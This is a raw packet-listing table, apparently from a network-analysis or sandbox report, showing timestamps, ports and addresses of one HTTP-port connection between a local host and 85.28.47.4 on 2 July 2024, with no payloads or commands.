Jul 2, 2024 15:26:07.734590054 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:07.734591007 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 2, 2024 15:26:07.734601974 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:07.734620094 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 2, 2024 15:26:07.734621048 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:07.734637976 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:07.734644890 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 2, 2024 15:26:07.734688997 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:07.734699965 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:07.734707117 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 2, 2024 15:26:07.734719992 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:07.734720945 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 2, 2024 15:26:07.734731913 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:07.734745979 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 2, 2024 15:26:07.734759092 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:07.734761953 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 2, 2024 15:26:07.734771967 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 2, 2024 15:26:07.734790087 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 2, 2024 15:26:07.734797001 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:07.734807968 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:07.734826088 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:07.734839916 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 2, 2024 15:26:07.734862089 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 2, 2024 15:26:07.734885931 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:07.734896898 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:07.734915018 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:07.734922886 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 2, 2024 15:26:07.734931946 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 2, 2024 15:26:07.734955072 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 2, 2024 15:26:07.735002041 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:07.735013008 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:07.735032082 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:07.735043049 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 2, 2024 15:26:07.735074997 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 2, 2024 15:26:07.735086918 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:07.735099077 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:07.735116959 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:07.735124111 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 2, 2024 15:26:07.735136986 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 2, 2024 15:26:07.735141039 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:07.735153913 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 2, 2024 15:26:07.735163927 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:07.735168934 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 2, 2024 15:26:07.735179901 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:07.735196114 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:07.735203028 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 2, 2024 15:26:07.735214949 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:07.735218048 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 2, 2024 15:26:07.735234976 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 2, 2024 15:26:07.735248089 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 2, 2024 15:26:07.735392094 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:07.735404015 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:07.735421896 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:07.735433102 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 2, 2024 15:26:07.735457897 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:07.735459089 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 2, 2024 15:26:07.735471010 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:07.735488892 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:07.735491991 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 2, 2024 15:26:07.735505104 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:07.735508919 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 2, 2024 15:26:07.735531092 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 2, 2024 15:26:07.735546112 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 2, 2024 15:26:07.735573053 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:07.735584021 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:07.735603094 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:07.735615015 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 2, 2024 15:26:07.735624075 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:07.735626936 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 2, 2024 15:26:07.735637903 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 2, 2024 15:26:07.735642910 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:07.735655069 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:07.735656977 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 2, 2024 15:26:07.735675097 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:07.735678911 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 2, 2024 15:26:07.735690117 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:07.735694885 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 2, 2024 15:26:07.735712051 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 2, 2024 15:26:07.735723019 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 2, 2024 15:26:07.735924959 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:07.735935926 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:07.735955954 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:07.735965014 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:07.735966921 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 2, 2024 15:26:07.735986948 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:07.735986948 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 2, 2024 15:26:07.736013889 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 2, 2024 15:26:07.736023903 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 2, 2024 15:26:07.736079931 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:07.736092091 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:07.736109018 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:07.736119032 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 2, 2024 15:26:07.736145973 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 2, 2024 15:26:07.736170053 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:07.736181021 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:07.736197948 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:07.736207962 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 2, 2024 15:26:07.736216068 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:07.736233950 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 2, 2024 15:26:07.736255884 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 2, 2024 15:26:07.736299038 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:07.736310959 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:07.736329079 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:07.736341953 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 2, 2024 15:26:07.736360073 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:07.736361027 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 2, 2024 15:26:07.736372948 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:07.736391068 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:07.736402035 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:07.736402035 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 2, 2024 15:26:07.736422062 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:07.736428022 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 2, 2024 15:26:07.736434937 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:07.736454010 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:07.736464977 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 2, 2024 15:26:07.736464977 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:07.736490965 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 2, 2024 15:26:07.736501932 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:07.736511946 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 2, 2024 15:26:07.736519098 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:07.736535072 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:07.736536026 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 2, 2024 15:26:07.736552000 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 2, 2024 15:26:07.736577034 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 2, 2024 15:26:07.736664057 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:07.736705065 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:07.736705065 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 2, 2024 15:26:07.736716986 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:07.736742020 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 2, 2024 15:26:07.736749887 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:07.736751080 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 2, 2024 15:26:07.736792088 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 2, 2024 15:26:07.736807108 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:07.736844063 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 2, 2024 15:26:07.736911058 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:07.736922026 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:07.736939907 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:07.736948013 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 2, 2024 15:26:07.736987114 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 2, 2024 15:26:07.737000942 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:07.737013102 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:07.737030983 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:07.737039089 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 2, 2024 15:26:07.737054110 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 2, 2024 15:26:07.737065077 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 2, 2024 15:26:07.737188101 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:07.737200022 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:07.737216949 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:07.737226963 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 2, 2024 15:26:07.737226963 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:07.737247944 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:07.737255096 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 2, 2024 15:26:07.737266064 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:07.737277031 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:07.737278938 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 2, 2024 15:26:07.737304926 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 2, 2024 15:26:07.816839933 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:07.816878080 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:07.816894054 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:07.816907883 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 2, 2024 15:26:07.816910028 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:07.816930056 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:07.816937923 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 2, 2024 15:26:07.816941977 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:07.816966057 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:07.816966057 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 2, 2024 15:26:07.816973925 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 2, 2024 15:26:07.817001104 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 2, 2024 15:26:07.817008972 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:07.817020893 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:07.817039967 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:07.817043066 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 2, 2024 15:26:07.817060947 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 2, 2024 15:26:07.817061901 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:07.817073107 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 2, 2024 15:26:07.817076921 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:07.817090988 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:07.817101955 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 2, 2024 15:26:07.817114115 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:07.817125082 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:07.817128897 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 2, 2024 15:26:07.817145109 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:07.817157984 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:07.817159891 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 2, 2024 15:26:07.817178011 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 2, 2024 15:26:07.817194939 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 2, 2024 15:26:07.817687988 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:07.817732096 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:07.817735910 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 2, 2024 15:26:07.817745924 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:07.817766905 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:07.817768097 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 2, 2024 15:26:07.817780018 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 2, 2024 15:26:07.817786932 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:07.817797899 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 2, 2024 15:26:07.817826033 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 2, 2024 15:26:07.824356079 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:07.824397087 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 2, 2024 15:26:07.824430943 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:07.824444056 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:07.824462891 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:07.824472904 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:07.824476004 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 2, 2024 15:26:07.824500084 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 2, 2024 15:26:07.824501991 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:07.824515104 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:07.824533939 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:07.824538946 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 2, 2024 15:26:07.824548006 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:07.824558973 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 2, 2024 15:26:07.824572086 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:07.824572086 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 2, 2024 15:26:07.824582100 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 2, 2024 15:26:07.824583054 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:07.824604988 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:07.824606895 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 2, 2024 15:26:07.824615955 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 2, 2024 15:26:07.824619055 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:07.824646950 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 2, 2024 15:26:07.824656010 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 2, 2024 15:26:07.824673891 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:07.824685097 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:07.824691057 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:07.824717045 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:07.824723005 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 2, 2024 15:26:07.824742079 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:07.824752092 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 2, 2024 15:26:07.824758053 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:07.824780941 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:07.824780941 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 2, 2024 15:26:07.824790001 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 2, 2024 15:26:07.824791908 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:07.824814081 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 2, 2024 15:26:07.824816942 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:07.824829102 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:07.824830055 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 2, 2024 15:26:07.824848890 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 2, 2024 15:26:07.824848890 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:07.824861050 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 2, 2024 15:26:07.824889898 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 2, 2024 15:26:07.824908972 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:07.824914932 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:07.824928999 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:07.824939966 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:07.824940920 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 2, 2024 15:26:07.824960947 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:07.824968100 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 2, 2024 15:26:07.824974060 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:07.824991941 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 2, 2024 15:26:07.825012922 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:07.825020075 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 2, 2024 15:26:07.825026035 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:07.825046062 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 2, 2024 15:26:07.825046062 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:07.825057983 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:07.825069904 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 2, 2024 15:26:07.825098038 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 2, 2024 15:26:07.825721979 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:07.825732946 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:07.825752020 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:07.825762987 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:07.825763941 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 2, 2024 15:26:07.825787067 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 2, 2024 15:26:07.825812101 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 2, 2024 15:26:07.825828075 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:07.825838089 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:07.825856924 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:07.825864077 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 2, 2024 15:26:07.825874090 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:07.825890064 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:07.825894117 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 2, 2024 15:26:07.825901985 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:07.825912952 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 2, 2024 15:26:07.825922966 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:07.825927973 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 2, 2024 15:26:07.825937986 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 2, 2024 15:26:07.825957060 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:07.825958967 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 2, 2024 15:26:07.825983047 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:07.825990915 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 2, 2024 15:26:07.825994968 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:07.826013088 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:07.826019049 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 2, 2024 15:26:07.826029062 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 2, 2024 15:26:07.826025963 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:07.826046944 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 2, 2024 15:26:07.826051950 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:07.826062918 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 2, 2024 15:26:07.826064110 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:07.826083899 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:07.826086998 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 2, 2024 15:26:07.826096058 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 2, 2024 15:26:07.826112986 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 2, 2024 15:26:07.826114893 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:07.826127052 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:07.826144934 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:07.826150894 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 2, 2024 15:26:07.826155901 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:07.826168060 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 2, 2024 15:26:07.826180935 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 2, 2024 15:26:07.826195955 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 2, 2024 15:26:07.826237917 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:07.826248884 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:07.826267004 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:07.826277018 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:07.826280117 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 2, 2024 15:26:07.826288939 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 2, 2024 15:26:07.826297998 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:07.826303959 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 2, 2024 15:26:07.826311111 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:07.826330900 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:07.826330900 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 2, 2024 15:26:07.826345921 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:07.826353073 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 2, 2024 15:26:07.826368093 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 2, 2024 15:26:07.826370001 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:07.826375961 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:07.826379061 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 2, 2024 15:26:07.826404095 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 2, 2024 15:26:07.826447964 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:07.826459885 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:07.826477051 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:07.826488018 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 2, 2024 15:26:07.826491117 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:07.826508999 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:07.826509953 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 2, 2024 15:26:07.826534033 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 2, 2024 15:26:07.826541901 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 2, 2024 15:26:07.826560020 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:07.826570988 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:07.826590061 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:07.826596022 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 2, 2024 15:26:07.826606035 CEST	49730	80	192.168.2.4	85.28.47.4
